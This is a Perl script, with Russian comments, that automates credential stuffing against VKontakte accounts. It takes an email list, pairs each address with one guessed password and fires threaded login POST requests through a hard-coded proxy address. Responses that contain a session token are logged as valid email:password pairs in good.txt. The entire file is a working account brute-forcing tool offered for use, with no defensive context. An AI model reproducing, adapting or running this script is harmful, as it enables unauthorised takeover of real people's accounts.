#! /usr/bin/perl -w
use IO::Socket;
use threads;
use threads::shared;

$threads =  shift || 5				; #Кол-во потоков
$pass    =  shift || 1234567     	; #pwd
$fname   = 'good.txt'   			; #Валидные
$ml      =  shift || 'emails.txt'	; #Список мыл

my @acc : shared;
my $i : shared;
my $total : shared;
$| =1;

print "Loading...\n";

open (ACS, "<$ml") || die("Could not open mail list file!");
@acc = acc();

$size = scalar @acc;
$time 	 = time; 
$start 	 = localtime;
print  "Loaded: ",$size," emails.\n";
printf "Started at $start\n";

for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }

sub Brut
{
	while(@acc)
	{	
		{lock(@acc);$acc = shift @acc;}
		my $sock = new IO::Socket::INET 
		(
		PeerAddr => 177.177.1.199,
   		PeerPort => 8080, 
   		PeerProto => 'tcp', 
   		TimeOut => 20
		) or die "Can't connect\n";
		
		my $data = "email=$acc&pass=$pass";
		my $len = length($data);
		my $re = "POST /login.php HTTP/1.1\nHost: vkontakte.ru\n".
		 "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0b1; Windows NT 5.1; SV1; .NET CLR 1.1.4322; MS IdentiServ 1.4.12)\nKeep-Alive: 300\n".
		 "Connection: keep-alive\nReferer: http://vkontakte.ru\n".
		 "Content-Type: application/x-www-form-urlencoded\n".
		 "Content-Length: $len\n\n$data";
		
		print $sock $re; 
		sysread ($sock, my $answ, 800);
		
		if($answ =~ /\S{32}/)
			{
				{lock($total); $total++;}
				print "[+] $acc\n";
				open(FILE, ">>$fname") || die("Could not open $fname\n");
				print FILE "$acc : $pass\n";
				close(FILE);
			}
		{lock($i);$i++;}
		$percent = ($i/$size)*100;
		progress();

	}
			
		
}


$time = time-$time;
$end = localtime;
printf "Finished at $end\n";
printf "Time elapsed: $time sec\n";
printf "Finded: $total \n";

sub progress{

print "|";
$percent = sprintf("%.2f", $percent);
print "< $percent% > complete";
print "\r";
	}

sub acc
{
	my (@mas);
	while (<ACS>){
	push @mas, $_;
	}
	chomp @mas;
	return @mas;
}

#(c)Kaimi